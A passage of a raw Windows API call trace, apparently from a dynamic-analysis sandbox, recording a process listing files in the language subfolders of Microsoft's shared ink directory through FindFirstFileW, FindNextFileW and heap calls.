ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.232] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.232] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e90ce26, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e90ce26, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e90ce26, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.232] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0214.233] GetProcessHeap () returned 0xc10000 [0214.233] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.233] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0214.233] GetProcessHeap () returned 0xc10000 [0214.233] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\nl-NL\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4b68 [0214.234] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.234] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.234] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.235] FindClose (in: hFindFile=0x33e4b68 | out: hFindFile=0x33e4b68) returned 1 [0214.235] GetProcessHeap () returned 0xc10000 [0214.235] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.235] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0214.235] GetProcessHeap () returned 0xc10000 [0214.235] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pl-PL\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4e68 [0214.235] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.235] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.236] FindNextFileW (in: hFindFile=0x33e4e68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.236] FindClose (in: hFindFile=0x33e4e68 | out: hFindFile=0x33e4e68) returned 1 [0214.236] GetProcessHeap () returned 0xc10000 [0214.236] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.236] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0214.236] GetProcessHeap () returned 0xc10000 [0214.236] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-BR\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.237] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.237] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.237] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.237] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0214.237] GetProcessHeap () returned 0xc10000 [0214.237] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.237] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0214.237] GetProcessHeap () returned 0xc10000 [0214.237] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\pt-PT\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.238] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.238] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.238] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e8e6bbf, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e8e6bbf, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e8e6bbf, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.238] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0214.238] GetProcessHeap () returned 0xc10000 [0214.239] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.239] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0214.239] GetProcessHeap () returned 0xc10000 [0214.239] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ro-RO\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.240] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.240] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.240] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.240] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0214.240] GetProcessHeap () returned 0xc10000 [0214.240] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.240] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0214.241] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0214.241] GetProcessHeap () returned 0xc10000 [0214.241] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0214.242] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.242] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.242] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.242] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0214.242] GetProcessHeap () returned 0xc10000 [0214.242] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.242] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0214.242] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0214.242] GetProcessHeap () returned 0xc10000 [0214.242] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0214.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4968 [0214.243] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0214.243] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0214.244] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0214.244] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0214.245] GetProcessHeap () returned 0xc10000 [0214.245] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0214.245] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, 